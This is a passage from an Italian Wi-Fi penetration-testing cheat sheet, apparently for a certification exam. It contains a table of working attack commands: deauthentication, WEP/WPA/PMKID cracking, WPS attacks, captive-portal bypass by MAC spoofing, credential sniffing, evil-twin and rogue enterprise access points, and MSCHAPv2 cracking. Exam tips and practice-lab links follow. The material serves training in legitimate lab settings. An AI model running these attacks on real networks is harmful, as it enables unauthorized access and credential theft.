| Cambia canale | sudo iw dev wlan0mon set channel <N> (o ifconfig down/iwconfig channel/up) |
| Cattura mirata | sudo airodump-ng -c <CH> --bssid <BSSID> -w <file> wlan0mon |
| Deauth (WPA) | sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon |
| ARP Replay (WEP) | sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon |
| Fake Auth (WEP) | sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon |
| ChopChop/Fragmentation | sudo aireplay-ng -4 / -5 -b <BSSID> -h $ORIG_MAC wlan0mon |
| Crack WEP | sudo aircrack-ng wep_capture-01.cap |
| Crack WPA (aircrack-ng, primario) | sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa_capture-01.cap |
| Converti per Hashcat | hcxpcapngtool -o hash.hc22000 wpa_capture-01.cap |
| Crack WPA (Hashcat, opzionale) | sudo hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt |
| PMKID clientless | sudo hcxdumptool -i wlan0mon -w cap.pcapng |
| PMKID → .cap per aircrack-ng | hcxhash2cap --pmkid-eapol=hash.hc22000 -c converted.cap |
| WPS Scan | sudo wash -i wlan0mon -s |
| WPS Attack | sudo reaver -i wlan0mon -b <BSSID> -c <CH> -vv |
| Captive Portal — MAC spoof | sudo macchanger -m <CLIENT_MAC> wlan0 |
| Captive Portal — sniff credenziali | tshark -r <file>.cap -Y "http.request.method == POST" -T fields -e http.file_data |
| Captive Portal — decodifica hex | echo "<hex>" \| xxd -r -p |
| Evil Twin | sudo airbase-ng -e <ESSID> -c <CH> wlan0mon |
| Rogue AP Enterprise (hostapd-wpe) | sudo hostapd-wpe hostapd-wpe.conf |
| Rogue AP Enterprise (hostapd-mana) | sudo hostapd-mana network.conf |
| Estrai certificato reale (Wireshark) | filtro tls.handshake.certificate → Export/CTRL+SHIFT+X |
| Leggi certificato | openssl x509 -inform der -in cert.der -text |
| Crack MSCHAPv2 (asleap, primario) | sudo asleap -C <CHALLENGE> -R <RESPONSE> -W /usr/share/wordlists/rockyou.txt |
| Crack MSCHAPv2 (Hashcat, opzionale) | sudo hashcat -a 0 -m 5500 hash.txt /usr/share/wordlists/rockyou.txt --force |
| Spoof MAC | sudo ip link set wlan0 down && sudo macchanger -m <NEW_MAC> wlan0 && sudo ip link set wlan0 up |
| Connessione | sudo wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf + sudo dhclient wlan0 |
| Prova finale | curl http://192.168.1.1/proof.txt |
SUGGERIMENTI PER L'ESAME
- Leggi il MAC e testa l'injection prima di fidarti dell'interfaccia.
- Verifica
hashcat -Iewhich dhclientprima dell'esame — pianificaaircrack-ng/asleap/nmclicome primari se mancano. - Più terminali: uno per
airodump-ng, uno peraireplay-ng, uno per il cracking — mai due processi mirati sulla stessa interfaccia in parallelo. - Blocca sempre il canale quando attacchi un target specifico.
- Sulle reti OPN, diagnostica sempre prima il tipo di captive portal (STEP 0 della 2.5) invece di tentare a caso.
- Sulle reti Enterprise, se c'è
unknown CA, non insistere sullo stesso target con lo stesso metodo: cambia target o prova il Metodo B. - Se ci sono due AP Enterprise con lo stesso nome, deautenticali entrambi.
- Documenta tutto: comando, output, screenshot.
- Gestisci il tempo (3h45m totali) — inizia dallo scenario più semplice.
- Verifica il proof.txt prima di passare oltre.
- Vietati strumenti automatici:
wifite,wifiphisher,besside-ng. - Se qualcosa non funziona, ripeti da capo: spesso è solo timing o interfaccia sbagliata.
- Conserva tutti i file di cattura (.cap, .hc22000, log hostapd-wpe/mana) come prova.
RISORSE E LABORATORI
- Lab di pratica: wifichallengelab.com — github.com/r4ulcl/WiFiChallengeLab-docker (tutto incluso nella VM Docker, nessuna scheda fisica necessaria)
- github.com/dh0ck/Wi-Fi-Pentesting-Cheatsheet
- github.com/drewlong/oswp_notes
- r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/
- Distro alternativa: wifislax.com